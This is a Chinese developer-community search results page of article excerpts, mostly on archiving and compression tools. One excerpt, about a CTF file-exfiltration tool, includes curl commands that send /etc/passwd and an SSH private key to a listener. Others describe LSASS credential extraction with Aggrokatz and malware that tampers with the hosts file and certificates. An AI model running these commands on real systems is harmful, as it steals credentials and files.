首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用命令行在Linux中归档、压缩和提取文件

tar和gzip提供一个标准界面,用于在Linux上创建存档和压缩文件。这些实用程序占用大量文件,将它们一起保存在存档中,并压缩存档可以节省空间。...tar不会自己压缩文件,与gzip结合使用,可以压缩归档文件以减少磁盘空间。生成的归档文件具有文件扩展名tar.gz,有时称为“tarball”。...testdir/ 检查新归档的文件: ls tesdir testdir.tar 用gzip压缩 使用gzip压缩文件: gzip testdir.tar 检查文件将显示: ls testdir testdir.tar.gz...-z:使用gzip压缩或解压。 -x:从存档中提取文件。 -f:将STDOUT定义为文件名,或使用下一个参数。...-t 列出存档的内容。 -u 附加但不覆盖当前存档。 这些都是命令行中的基础知识。

1.5K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    WinRAR曝新威胁,黑客可直接运行PowerShell

    用 WinRAR 或 7-Zip 等压缩软件创建的自解压档案(SFX)本质上是包含归档数据的可执行文件,以及一个内置解压存根(解压数据的代码),对这些文件的访问可以有密码保护,以防止未经授权的访问。...使用7-Zip创建受密码保护的SFX (来源:CrowdStrike) 然而,网络安全公司 CrowdStrike 的研究人员在最近的一次事件响应调查中发现了 SFX 滥用。...SFX  文件的真正功能是滥用 WinRAR 的设置选项,以系统权限运行 PowerShell、Windows 命令提示符(cmd.exe)和任务管理器。...此外,威胁攻击者还添加了运行 PowerShell、命令提示符和任务管理器的指令。...最后,研究人员建议用户应特别注意 SFX 档案,并使用适当的软件检查档案的内容。

    1.2K60

    盘点Python中4种读取json文件和提取json文件内容的方法

    前言 前几天在才哥的交流群有个叫【杭州-学生-飞飞飞】的粉丝在群里问了一个json文件处理的问题。 看上去他只需要follower和ddate这两个字段下的对应的值。...我们知道json是一种常见的数据传输形式,所以对于爬取数据的数据解析,json的相关操作是比较重要的,能够加快我们的数据提取效率。...2、jsonpath方法一 关于jsonpath的用法,之前在这篇文章中有提及,感兴趣的小伙伴也可以去看看:数据提取之JSON与JsonPATH。...这里墙裂给大家推荐jsonpath这个库,感兴趣的小伙伴可以学习学习,下次再遇到json文件提取数据就再也不慌啦!...最后感谢粉丝【杭州-学生-飞飞飞】提问,感谢【才哥】、【成都-IT技术支持-小王】、【深圳-Hua Bro】和小编提供的思路和代码。

    11.9K20

    windows:powershell下解压tar.gz文件

    在Windows PowerShell下解压.tar.gz文件,可以使用几种不同的方法。下面是一些常见的方法: 1....使用内置的tar命令(适用于Windows 10 1803版本及以后) 在较新版本的Windows中,可以直接使用内置的tar命令来解压.tar.gz文件。...使用7-Zip或其他第三方软件 如果系统中没有内置的tar命令,或者更喜欢使用图形界面,可以安装第三方软件如7-Zip。...安装后,可以在PowerShell中使用以下命令: powershell & "C:\Program Files\7-Zip\7z.exe" x 路径\文件名.tar.gz -o解压到的路径 & "C...第二个命令是从.tar文件中提取内容。 确保根据7-Zip安装路径和文件路径调整上述命令。 注意事项 确保替换命令中的文件路径和名称为实际的文件路径和名称。

    2.2K10

    一款使用PowerShell和证书来加密文件的工具

    在之前的两篇文章中,我已经教大家如何使用证书加解密文件,但总的来说操作过程还是有些繁杂。今天我将为你们提供一个文件加密工具,来自动化的帮我们完成这些过程。关于证书问题,大家也不必担心。...这里我没有任何的证书。 ? 按N并输入证书名称。随后,证书将被创建… ? 你必须为pfx文件输入一个密码。为了保证你的安全性,这款工具会强制你备份新创建的证书。 ? 现在输入你想要加密文件的路径。...之后,用记事本打开该文件,可以看到你的文件内容已被加密。 ? EncryptFiles.ps1(有证书操作) 如果你已经拥有了证书,那么创建新自签名证书这步将会被跳过。...使用Unprotect-CmsMessage命令即可解密。 ?...Unprotect-CmsMessage -Path C:\Temp\passwords.txt 下载 阅读原文查看 相关文章 PowerShell:使用证书(公钥/私钥)加解密数据 PowerShell

    1.5K00

    用于绕过安全电子邮件网关的特制ZIP文件

    每个ZIP归档文件都包含一个特殊的结构,其中包含压缩的数据和有关压缩文件的信息。每个ZIP归档文件还包含一个“中央目录结尾”(EOCD)记录,该记录用于指示归档文件结构的结尾。 ?...不同的文件提取器的行为不同 使用各种文件提取程序打开存档时,Trustwave研究员发现每个文件提取器对存档的处理方式有所不同。...提取时发出7-Zip发出警告 但是,提取的文件不是恶意负载,而是无害的order.jpg图像文件。 ?...根据所使用的解压缩引擎的类型,很可能仅对诱饵文件进行审查和审查,然而恶意软件未被注意-就像某些最流行的解压工具未能解压出第二个ZIP结构。”...在测试了众多文件提取程序之后,Trustwave确定只有某些版本的PowerArchiver,WinRar和较旧的7-Zip实用程序才能正确提取NanoCore可执行文件。

    1.2K20

    CTF神器:如何使用HTTPUploadExfil快速实现文件数据的提取和传输

    很明显,这是一种非常方便强大但又存在一定限制的数据/文件提取方式。然而,HTTPUploadExfil的使用比SMB或FTP要更加简单。.../httpuploadexfil :1337 /home/kali/loot 在需要提取过滤文件数据的目标设备中,访问下列地址: http://YOUR_IP:1337/ 此时,我们就可以在自己设备上的...HTTPs模式 HTTPUploadExfil 还能够以HTTPs模式运行,此时我们需要在项目代码文件中存储一个HTTPUploadExfil.csr和一个HTTPUploadExfil.key文件即可...Shell 在Bash的帮助下,我们可以使用GET请求来实现文件数据的提取和过滤,比如说: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1...:8080/g 当然了,我们同样可以使用curl来实现文件数据的提取和过滤: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p 项目地址

    1.1K30

    预编译好的WebRTC库(翻译文)

    构建中包含了Windows和Linux上本地WebRTC开发所需的所有库和头文件,尽管构建是为LibSourcey开发人员设计的,但它们是完全可移植的,可以被所有人使用。   ...然而,一旦多余的文件储存空间减少,归档构建的大小就可能降低到50mb左右,包括所有静态库和头文件。Jenny Craig感到很自豪的! 使用方法   为自己节省创建WebRTC的泪水和挫折。...预编译的本地WebRTC库和头文件可在本文末链接打开选择下载。Linux和Windows的调试和发布版本是为x86和x64架构提供的。   ...在Windows上,您需要7-Zip来提取归档文件,而在Linux上,归档文件是.tar.gz格式的。...文件夹结构已经设置,因此您可以将同一版本的x64和x86存档文件提取到单个根目录中: webrtc-build/├── third_party/ 内容├── webrtc

    2.8K30

    使用Aggrokatz提取LSASS导出文件和注册表中的敏感数据

    当前版本的Aggrokatz允许pypykatz解析LSASS导出文件和注册表项文件,并在无需下载文件或向Beacon上传可疑代码的情况下,从中提取出用户凭证和其他存储的敏感信息。...,结果将会在Script Console窗口和Beacon窗口中查看到解析结果; LSASS导出解析菜单参数 LSASS file:远程主机中lsass.dmp文件的路径位置,你还可以使用UNC路径并通过...注册表导出解析菜单参数 SYSTEM file:远程主机中SYSTEM.reg文件的路径位置,你还可以使用UNC路径并通过SMB来访问共享的文件。...SAM file(可选):远程主机中SAM.reg文件的路径位置,你还可以使用UNC路径并通过SMB来访问共享的文件。...SECURITY file(可选):远程主机中SECURITY.reg文件的路径位置,你还可以使用UNC路径并通过SMB来访问共享的文件。

    1.1K30

    在Linux环境下高效解压RAR文件的详细指南

    在日常的文件传输与存储过程中,rar格式因其良好的压缩率和对多卷压缩的支持而广泛应用于各种场景。然而,默认情况下,Linux操作系统并不自带支持解压rar文件的工具。...本文将详细介绍如何在Linux系统中安装和使用相应的工具解压rar文件,并提供几种不同的解压方法以满足不同需求的用户。...这意味着当你解压一个归档文件时,系统会按照归档包内文件所在的嵌套子目录结构,在本地相应地创建和还原这些目录,然后将文件解压至其在归档时所在的确切路径上。...这样做会让解压出来的文件保持与归档时相同的目录层级结构。如果不保留原来的文件路径结构,则将命令中的x 改为e 即可。 注意,若rar文件设置了密码保护,解压时需按提示输入密码。...方法二:使用7-Zip命令 尽管rar不是7-Zip的原生格式,但7-Zip也能处理rar文件。

    3.2K10

    Golang 判断是否为 zip 文件

    gzip 是由 Jean-loup Gailly 和 Mark Adler 开发并于 1992 发布的一个自由软件,起初目的是用于取代 UNIX 系统上的压缩软件,并被 GNU 使用。...GZ 一般和 tar 配合使用,先将文件打包后再将其压缩。 RAR RAR 是一种专利压缩文件格式,用于数据压缩与归档打包。 RAR 由俄罗斯人 Eugene Roshal 于 1993 年设计。...RAR 的全称为 “Roshal ARchive”,中文意为“罗谢尔的归档”。 RAR 相比于 ZIP 有着更高的压缩比,但也存在着压缩和解压速度较慢的特点。...7Z 7Z 是一种压缩文件格式,支持多种不同的数据压缩、加密和预处理算法。 7Z 格式最初是由 7-Zip 软件实现。...7-Zip 由 Igor Pavlov 开发并于 1999 年基于 GNU LGPL 协议免费开源发布。 7Z 不仅比 ZIP 压缩比更高,而且相对于 RAR,占用更少的系统资源。

    1.4K20

    powershell自动化重装 cloudbase-init 为1.1.2版本

    脚本自动化重装cloudbase-init,此方案前提是服务器能上网,如果机器没有外网,那只能在腾讯云上海地区的cvm使用,因为脚本我是放在上海COS的,上海CVM和同地域COS是走内网的,并且前提是正确解析上海...COS域名到内网IP(一些使用者可能修改了默认DNS导致无法解析域名,因此要添加hosts,如果是默认的183打头的DNS, 183.60.82.98 183.60.83.19 就不用执行下面2句命令,...cvm,升级到cloudbase-init 1.1.2的完整powershell命令如下: 打开第1个powershell窗口 cmd.exe /c "echo 169.254.0.47 windows...: 域业务需要删掉cloudbase-init配置文件里的hostname模块(C:\Program Files\Cloudbase Solutions\Cloudbase-Init\conf\cloudbase-init.conf...cloudbase-init用户,既然没用了,你在用户和组里看到cloudbase-init用户碍眼的话,执行命令net user cloudbase-init /del 2>&1删掉它即可 如果以后要调整服务所运行的用户

    1.9K40

    那些必备的Mac应用程序和实用工具

    这款工具不仅让你可以捕获各种屏幕截图:从捕获简单内容到复杂内容(比如滚动窗口等),它还有功能强大的编辑工具,可以帮我将那些屏幕截图准备好在网上发布或用于出版物。...使用Parallels Access,我可以从几乎任何设备连接到我的Mac(或PC),并使用该系统上的应用程序和文件,就像我坐在眼前一样。...虽然内置到macOS的工具处理一些压缩文件归档时表现尚可,但无论你要处理什么样的文件格式,Unarchiver都能满足你的需要。...它可以打开常见的格式,比如Zip、RAR、7-zip、Tar、Gzip和Bzip2,以及比较少见的格式,比如StuffIt、DiskDoubler、LZH、ARJ和ARC,可以从ISO和BIN映像提取文件...它还可以从一些Windows .EXE文件提取文件。 它是我经常使用的一款好工具! 价格:免费

    84810

    一个 .net 病毒的分析过程

    本文作者:病毒分析小组全体成员 样本概述 本次样本为 Lnk 文件,内嵌了一个 Powershell 脚本,用于后续的释放和攻击…… md5 为 13d3d78aa4d28311e8e57ca01d34d11f...详细分析 对 Lnk 文件使用 010editor 解析并从命令行提取出有效 payload 如下,根据经验判断为 Invoke-Obfuscation 混淆后的代码。...Zip 解压之后,发现存在一个 Bat 脚本文件,pem 证书文件,用于劫持的 Hosts 文件 pem 证书文件如下: ?...Bat 命令如下: certutil-addstore"Root"p.pem 将 Hosts 文件与系统的 Hosts 进行替换,内容如下: ?...MN.exe 分析 svchost.exe,mn.exe,p2.exe 均为混淆后的 C# 样本,使用 de4dot 即可去混淆,去混淆后发现均为同一种样本,故选取其中一个 mn.exe 分析,使用

    1.6K20

    开源的文件压缩和解压缩软件7-Zip

    7-Zip是一款开源的文件压缩和解压缩软件,它支持多种压缩格式,包括自有的7z格式以及常见的ZIP、RAR、TAR等格式。下面是对7-Zip的详细介绍,包括其功能特点、使用方法、优缺点等方面的内容。...高压缩比: 7-Zip使用LZMA和LZMA2压缩算法,这些算法通常能够提供较高的压缩比,从而节省存储空间。...分卷压缩和自解压功能: 7-Zip支持将大文件分卷压缩成多个小文件,并且可以创建自解压的压缩包,方便在没有安装压缩软件的环境中解压缩文件。...解压文件: 打开7-Zip界面,选择要解压的压缩文件,点击“提取”按钮,选择解压缩的目标文件夹,点击“确定”即可开始解压缩。...优缺点: 优点: 免费开源:7-Zip是免费的开源软件,用户可以免费使用,并且可以根据需要进行定制和修改。 高压缩比:使用LZMA算法的7z格式通常能够提供较高的压缩比,节省存储空间。

    22910

    云服务器上如何获取windows productkey

    有个第三方软件ProduKey可以查看,不过这个软件会被一些安全软件自动拦截甚至自动清理比如360和server 2016 、2019上的windows defender,由于defender太敏感了,...有个BackupProductKeyDefault,也是能用的,powershell执行Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion...ProduKey.exe也可以命令行查看productkey,可以搞自动化代码 接下来运行代码 ≤2012R2 的系统,cmd,注意是cmd不是powershell,在cmd命令行来运行如下命令: certutil...②cmd和powershell在7z.exe解压.zip文件的代码上有差别,powershell要在前面加&, -aoa代表覆盖,用法介绍里有一句:-ao{a|s|t|u} : set Overwrite...④powershell加Tls12那句是因为https://cloud.tencent.com/developer/article/1885847 总之,windows代码兼容性要强,需要兼顾的太多了。

    8.8K20

    12 Windows下 Git 的安装

    https://tortoisegit.org/download/ (请选择正确的 32 / 64位版本) 为了便携, 我这里下载了便携版的软件....这个版本的 Git for Windows 是可移植的,也就是说不需要 它将运行在您放置它的任何目录,甚至 它不会将永久的记录写入 Windows 注册表。“安装”不需要管理员权限。...这个包 包含在一个7-zip 归档文件中,文件名为表单.‘ PortableGit-versionstring. 7 z.exe’。 这是一个自解压缩档. 双击即可安装....NOTE: if you decide to unpack the archive using 7-Zip manually, you must run the post-install.bat script...小乌龟 Git 的使用 小乌龟的中文文档写的很好, 非常有参考价值. 由于和小乌龟 SVN 类似, 所以不在此详细介绍. 总结 平常建议启动‘ git-bash.exe’即可。

    59620
    领券